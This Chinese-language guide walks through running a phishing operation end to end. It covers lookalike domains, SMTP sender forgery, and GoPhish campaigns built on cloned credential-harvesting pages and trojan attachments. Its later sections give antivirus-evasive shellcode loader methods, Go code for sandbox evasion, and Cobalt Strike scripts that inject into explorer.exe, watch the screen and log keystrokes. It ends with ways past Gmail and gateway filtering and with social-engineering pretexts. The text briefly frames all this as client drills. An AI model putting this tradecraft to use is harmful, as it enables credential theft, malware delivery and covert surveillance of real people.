钓fish
概念相关
域名伪装
在真实的钓鱼场景中,一般是用一些近似的邮箱或邮件服务商注册的邮箱,在给甲方做钓鱼邮件演练的时候,如果预算高,会注册一个和甲方域名相似的域名,可以使用urlcrazy工具自动寻找:
#工具在kali里面是预安装的
urlcrazy -i weibo.com
valid为false的就是没有人使用的,我们就可以挑一个便宜的注册一个。然后利用域名搭建一个邮箱服务器,这里推荐ewomail,下文有具体的搭建方式。
发件人伪造
有时候我们找不到比较合适的域名,或者就是单纯的没有钱购买域名,这个时候我们就需要去伪造发件人。
我们先快速介绍一下邮件传递的过程,我们使用的邮箱客户端程序,网页版的qq邮箱、Foxmail、outlook统称为MUA(Mail User Agent),他们只跟自己代理邮箱的smtp服务器(MTA)交互,而你使用qq邮箱向sina邮箱发送一封邮件,实际上最少经过4台机器,即:发件MUA -> QQ MTA-> SINA MTA ->收件MUA
。
然后我们可以仿造swaks直接伪装成一台邮件服务器(MTA),自己去进行身份的认证和邮件的发送
#telnet到邮件服务器的25端口
telnet smtp.mysun.org 25
# 用ehlo申明,表示自己需要身份验证,MTA将返回一些元信息
EHLO + 域名
#进行用户身份认证
auth login
#然后服务器会返回base64加密过的user和pass字段,你也需要输入base64加密过的账号和密码
#发到本系统中域名下的账户可跳过身份认证。
#接下来进入邮件发送部分,使用mail from命令指定邮件由谁发出:
mail from: <test1@domain.com>
#递送给地址 test2@domain.com
rcpt to: <test2@domain.com>
#使用DATA命令指定邮件正文,以[.]结束
data
#结束连接
quit
环境相关
这里我准备了两台vps(其中一台为centos8装邮服,这里需注意vps供应商是否支持邮服端口),一个域名
ewomail安装
关闭selinux
vi /etc/sysconfig/selinux
SELINUX=enforcing 改为 SELINUX=disabled安装(国外服务器,国内去掉en即可)
yum -y install git
cd /root
git clone https://github.com/gyxuehu/EwoMail.git
cd /root/EwoMail/install
#需要输入一个邮箱域名,不需要前缀,列如下面的ewomail.cn,域名后面要加空格加en。ewomail.cn替换为我们注册的邮件域名
以上安装下来有以下奇奇怪怪的问题,折腾了一下午还是解决了,提前安装以下依赖并修改下载地址(下面有说)再安装
dnf --enablerepo=powertools install oniguruma-devel
dnf --enablerepo=powertools install perl-IO-stringy
dnf install mariadb-connector-c
sh ./start.sh ewomail.cn en
centos8碰到了包的问题,执行以下命令再进行安装(参考https://pkgs.org/,https://blog.csdn.net/m0_37886429/article/details/129079609)
dnf --enablerepo=powertools install oniguruma-devel
dnf --enablerepo=powertools install perl-IO-stringy
dnf install dovecot
这直接文件没了,找了半天地址(因为命令加了en,下载地址为国外的,这个国外的已经无了),把这个地址改成
http://npm.ewomail.com/ewomail-npm-1.15.1-el8.tar.gz
访问http://IP:8010即可访问到邮箱后台,web邮件系统为http://IP:8000(默认口令admin,ewomail123)
cat /ewomail/config.ini #查看数据库密码
配置邮箱,在域名供应商处进行配置,配置dkim值(DKIM是电子邮件验证标准,域名密钥识别邮件标准,主要是用来防止被判定为垃圾邮件),需要到服务器先使用命令查看,然后配置一条dkim._domainkey的txt记录
amavisd -c /etc/amavisd/amavisd.conf showkeys
到http://www.ewomail.com/list-20.html DKIM整理网站格式化一下,放到txt记录中
解析好相关域名
接着在邮箱系统如下位置配置自己的域名(默认安装的时候自动填上去了)
修改邮服上/etc/hostname文件,将主机修改为
mail.xxx
再到/etc/hosts里配置如下信息
127.0.0.1 mail.xxx smtp.xxx imap.xxx
这里的xxx为你的域名,设置完后重启生效。
添加一个邮箱用户
进入web邮箱系统http://IP:8000
优化:降低内存占用(关闭邮件杀毒软件)
#查看内存占比命令
free -m#安装vim
yum install vim -y
#修改文件(修改前请备份文件)
vim /etc/amavisd/amavisd.conf
#在文件尾部加上该行参数
@bypass_virus_checks_maps = (1);
#在 Wants=clamd@amavisd.service 前面加上#符号
vim /usr/lib/systemd/system/amavisd.service
systemctl daemon-reload
systemctl stop clamd@amavisd
systemctl disable clamd@amavisd
systemctl restart amavisd
gophish安装
使用docker进行快捷安装(docker版本较老为0.10.1,可能会出现Invalid SMTP From无法识别一些域名为邮件域名)
docker pull gophish/gophish
docker run -it -d --rm --name gophish -p 3332:3333 -p 8003:80 -p 8004:8080 gophish/gophish
docker logs gophish #查看安装日志中的登录密码
压缩包安装
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
修改config.json
{
"admin_server": {
"listen_url": "0.0.0.0:3339",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key",
"trusted_origins": []
},
"phish_server": {
"listen_url": "0.0.0.0:8002",
"use_tls": false,
"cert_path": "example.crt",
"key_path": "example.key"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
运行安装脚本(最新版本密码在控制台,且只有第一次启动该密码才有效)
chmod 777 gophish
./gophish
登录后依次配置gophish的各个模块
设置Sending Profile
from:填写你刚才ewomail添加的邮箱账号 格式为
test<xxxxxx@qq.com>
,host:填写你注册域名:25,username:也是填写ewomail添加的邮箱账号,密码;填写添加邮箱账号是设置的密码,保存即可。Name: Name字段是为新建的发件策略进行命名,不会影响到钓鱼的实施,建议以发件邮箱为名字,例如如果使用qq邮箱来发送钓鱼邮件,则Name字段可以写
xxxxxx@qq.com
Interface Type: Interface Type 是接口类型,默认为SMTP类型且不可修改,因此需要发件邮箱开启SMTP服务 From: From 是发件人,即钓鱼邮件所显示的发件人。(在实际使用中,一般需要进行近似域名伪造)例如From字段可以写:
test@163.com<xxxxxx@qq.com>
Host: Host 是smtp服务器的地址,格式是
smtp.example.com:25
,例如qq邮箱的smtp服务器地址为smtp.qq.com
,即填写smtp.qq.com:465
,这样就可以成功发送邮件了。Username: Username 是smtp服务认证的用户名,如果是qq邮箱,Username则是自己的qq邮箱号
xxxx@qq.com
Password: Password 是smtp服务认证的密码,例如qq邮箱,需要在登录qq邮箱后,点击 设置 - 账户 - 开启SMPT服务 生成授权码,Password的值则可以填收到的授权码(可选)Email Headers: Email Headers 是自定义邮件头字段,例如邮件头的
X-Mailer
字段,若不修改此字段的值,通过gophish发出的邮件,查看邮件原文其邮件头的X-Mailer的值默认为gophish优化
在这里可以通过SMTP From 来伪造发件人邮箱,这里会过滤
@
符号,那么我们考虑使用中文或者是其他的方式生成的@
符号来对邮箱进行伪造(中文@)效果如下
下面进行钓鱼测试
测试
设置Landing Pages用于钓鱼的页面
钓鱼页面是配合钓鱼邮件使用的,钓鱼邮件的最终目的,通常是通过钓鱼邮件来使受害者点击链接进入精心构造的钓鱼页面,通过钓鱼页面来诱导用户输入敏感信息,如密码等;或者通过钓鱼邮件诱导用户点击下载邮件附件,以此来向受害用户主机植入病毒或木马等。一般情况下,钓鱼页面都是类似于修改密码或者登录之类的页面,并且要和钓鱼页面所模仿的页面做到尽可能的一样。设置选项有主要有以下:
Name: 是用于为当前新建的钓鱼页面命名,可以简单命名为 “钓鱼页面一”。
Import Site:与钓鱼邮件模板的编辑一样,gophish为钓鱼页面的设计也提供了两种方式,第一种就是Import Site,即克隆目标网站。点击Import Site后,填写 被伪造网站的URL,再点击Import,即可通过互联网自动爬取被伪造网站的前端代码。这里以伪造谷歌管理后台登录界面为例,在Import Site中填写目标网址 https://xxxx/index/user/login.html:
使用save page将钓鱼页面复制下来,这里以下面这个为例
配置Email Templates
接下来需要去“Email Templates”中编写钓鱼邮件的内容。点击“New Template”新建钓鱼邮件模板,依次介绍填写各个字段:
Name:这个字段是对当前新建的钓鱼邮件模板进行命名,可以简单的命名为 “测试/或者其他名称”。
Import Email:Gophish为编辑邮件内容提供了两种方式,第一种就是 “Import Email”。用户可以先在自己的邮箱系统中设计好钓鱼邮件,然后发送给自己或其他伙伴,收到设计好的邮件后,打开并选择“导出为eml文件”或者“显示邮件原文”,然后将内容复制到gophish的“Import Email”中,即可将设计好的钓鱼邮件的导入。需要注意的是,在点击“Import”之前需要勾选上“Change Links to Point to Landing Page”,该功能实现了当创建钓鱼事件后,会将邮件中的超链接自动转变为钓鱼网站的URL。
Envelope Sender:可不填写,默认为发送配置文件中的STMP From
Subject:Subject 是邮件的主题,通常为了提高邮件的真实性,需要自己去编造一个吸引人的主题。这里简单填写成 “第一次钓鱼测试”。
内容编辑框:内容编辑框是编写邮件内容的第二种模式,内容编辑框提供了 Text和 HTML两种模式来编写邮件内容,使用方式与正常的编辑器无异。其中HTML模式下的“预览”功能比较常用到,在编辑好内容后,点击预览,就可以清晰看到邮件呈现的具体内容以及格式。
Add Tracking Image:Add Tracking Image 是在钓鱼邮件末添加一个“跟踪图像”,用来跟踪受害用户是否打开了收到的钓鱼邮件。默认情况下是勾选的,如果不勾选就无法跟踪到受害用户是否打开了钓鱼邮件。
Add Files:Add Files 是在发送的邮件中“添加附件”,一是可以添加相关文件提高邮件真实性,二是可以配合免杀木马诱导受害用户下载并打开。
可以到https://www.liveagent.com/templates/password-reset/网站里找个模板
可以选择从真实原文导入邮件,从
Content-Type: text/ html; charset=UTF-8
开始复制导入然后在ImportEmail导入
出现以下内容即完成钓鱼邮件的制作了
配置用户和组(要发送的人)
Users&Groups
的作用是将钓鱼的目标邮箱导入Gophish中准备发送。点击New Group新建一个钓鱼的目标用户组:这里分为两种导入方式:
1、单个导入模式,也就是属于一个邮箱之后一个个的add的导入的一个方式,适合发送一两封钓鱼邮件比较适合。
2、批量导入,首先是从平台下载一个csv的表格批量填写邮箱进去,适合批量同一个单位钓鱼
配置Campaigns模块,发送钓鱼邮件即可
Campaigns 的作用是将上述四个功能Sending Profiles 、Email Templates 、Landing Pages 、Users & Groups联系起来,并创建钓鱼事件。在Campaigns中,可以新建钓鱼事件,并选择编辑好的钓鱼邮件模板,钓鱼页面,通过配置好的发件邮箱,将钓鱼邮件发送给目标用户组内的所有用户。
点击New Campaign新建一个钓鱼事件:
- Name:是为新建的钓鱼事件进行命名,可以简单命名为”可随意命名“。
- Email Template:即钓鱼邮件模板,选择刚刚上面编辑好的钓鱼邮件模板demo。
- Landing Page:即钓鱼页面,选择刚刚上面编辑好的demo。
- URL(重点):URL 是用来替换选定钓鱼邮件模板中超链接的值,指的是你这里的url链接填写哪里,中招人员点击之后就会跳到哪里,比如说你填写是
http://baidu.com
那么跳转的就是百度 。 - Launch Date:即钓鱼事件的实施日期。
- Send Emails By(可选):Send Emails By 配合Launch Date使用,可以理解为当前钓鱼事件下所有钓鱼邮件发送完成的时间。Launch Date作为起始发件时间,Send Emails By 作为完成发件时间,而它们之间的时间将被所有邮件以分钟为单位平分。例如,Launch Date的值为 2024.03.4,09:00,Send Emails By的值为 2024.03.4,09:04,该钓鱼事件需要发送50封钓鱼邮件。那么经过以上设定,从9:00到9:04共有5个发件点,这5个发件点被50封邮件平分,即每个发件点将发送10封,也就是每分钟仅发送10封。这样的好处在于,当需要发送大量的钓鱼邮件,而发件邮箱服务器并未限制每分钟的发件数,那么通过该设定可以限制钓鱼邮件不受约束的发出,从而防止因短时间大量邮件抵达目标邮箱而导致的垃圾邮件检测,甚至发件邮箱服务器IP被目标邮箱服务器封禁。
- Sending Profile:Sending Profile 即上文中我们配置的发件邮箱策略,这里选择刚刚编辑好的名为
xxxxxx@qq.com
的发件策略。 - Groups:Groups 即接收钓鱼邮件的目标用户组,这里选择刚刚编辑好的名为目标1的目标用户组。
填写完以上字段,点击“Launch Campaign”后将会创建本次钓鱼事件
Dashboard(仪表板)
当创建了钓鱼事件后,Dashboard 会自动开始统计数据。统计的数据项包括邮件发送成功的数量及比率,邮件被打开的数量及比率,钓鱼链接被点击的数量及比率,账密数据被提交的数量和比率,以及收到电子邮件报告的数量和比率。另外,还有时间轴记录了每个行为发生的时间点:
需要注意的是,Dashboard 统计的是所有钓鱼事件的数据,而非单个钓鱼事件的数据,如果仅需要查看单个钓鱼事件的统计数据,可以在Campaigns中找到该钓鱼事件,点击View Results按钮查看:
社交账号
免杀马
刚开始推荐学习shellcode loader中的一些编写思路ShellcodeLoader 基本加载器思路为shellcode申请内存(可读可写) -> 载入内存 -> 执行内存
- 申请内存:VirtualAlloc
- 载入内存:memcpy
- 执行内存:CreateThread WaitForSingleObject 针对这三个过程可以使用不同的函数来达到规避杀软的效果,例如申请内存还可以用GlobalAlloc、CoTaskMemAlloc函数,执行内存可以用回调函数EnumFontsW、EnumUILanguages、EnumFontFamiliesA。
平时钓鱼的马子经常要改图标加签名之类的,推荐如下项目,在原项目360QVM_bypass的基础上,增加了签名功能。360QVM_bypass-public
bypass沙箱
为了延长马子存活时间,基本的沙箱对抗少不了,投递的木马大概率都得过一遍沙箱,以微步沙箱为例,最简单的循环打印。使用sleep函数延迟执行容易被hook,修改为0,可以编写循环打印来延迟程序时间,来绕过沙箱检测,因为沙箱运行程序是有时间限制的。
//循环打印进行延时 运行1m2s后执行shellcode 沙箱分析时间没那么久 可以绕过沙箱检测
func add() {
start := time.Now() //获取当前时间
//1000000 1m2.793228s
sum, i := 0, 1
for i < 1000000 {
fmt.Println(i)
sum += i
i++
}
elapsed := time.Since(start)
fmt.Println("该函数执行完成耗时:", elapsed)
}
将如上代码放在shellcode执行前就行。
人员信息收集
- 企查查、小蓝本、fofa、小程序、APP、抖音、牛客网
- 零零信安直接搜索公司名称,得到一些邮箱地址 https://0.zone
- 拿邮箱后缀+关键字去微信搜一搜,Google、百度等搜索引擎也可以搜,可以获取业务招聘相关邮箱信息、手机号等。如下组合:
@xxx.com 招聘 @xxx.com 校招 @xxx.com 投标 @xxx.com 联系方式
C2搭建准备
cs基本隐藏:套层CDN然后c2上线端口反代下。推荐cs插件脚本: PushPlus2(常用上线提醒、自动迁移进程)
#自动迁移进程
sub callback{
$regex = '(.*\n)+explorer.exe\t\d+\t(\d+)(.*\n)+';
# 要迁移的进程
$listener = "ecloud";
# 监听器名字,此处为ecloud,记得修改为自己的
if ($2 ismatch $regex){
$pid = matched()[1];
$inject_pid = $pid;
if (-is64 $1){
$arch = "x64";
}
else{
$arch = "x86";
}
binject($1, $pid, $listener, $arch);
}
}
if($inject_pid != beacon_info($1,"pid")){
bps($1, &callback);
}
还有上线自动截图功能,就算目标掉了起码还有张图证明上线过
#只截一张图
#binput($1, "screenshot");
#bscreenshot($1);
#连续截图
binput($1, "screenwatch");
bscreenwatch($1);
其他的上线自动执行shell命令、键盘记录看自己需求吧
#执行自定义cmd命令
bshell($1, "ipconfig /all");
#键盘记录
bkeylogger($1);
还有其他需求可以去翻翻文档Aggressor Script
邮件网关/沙箱
默认对面有邮件网关/沙箱设备,针对邮件正文和附件要有一定处理或者技巧。
- 针对正文 不带知名公司名称如脉脉、BOSS直聘不然容易被当成广告邮件,不把附件解密密码放在正文,容易被沙箱识别密码分析附件。
- 针对附件 文件名加密,解压密码写在附件名上。
Gmail邮箱
实战中,在给Gmail邮箱发送马儿附件的时候,发现Gmail做的限制挺严格。无论何种格式/扩展名的压缩包,在检查压缩包内文件内容与扩展名两项上,至少要允许Gmail检查其中一项,两项皆不允许Gmail检查时,Gmail直接禁止压缩包作为附件。Gmail一般情况下只检查压缩包内第一层的扩展名,并不检查第二层的扩展名,但压缩包内第一层的扩展名是zip时,Gmail会检查第二层的扩展名。
因此,我们需要进行各种组合,生成Gmail放行的邮件。
后面使用该方案成功发送马儿:先tar再带密码生成zip
参考文章:http://www.hackdig.com/05/hack-668819.htm
开钓
通过之前的准备,我们已经有了一些可供尝试的信息,此时需要构建话术剧本然后去钓鱼。
- 伪装求职:准备简历话术
- 伪装HR:准备招聘资料话术
- 伪装客户:需求文档话术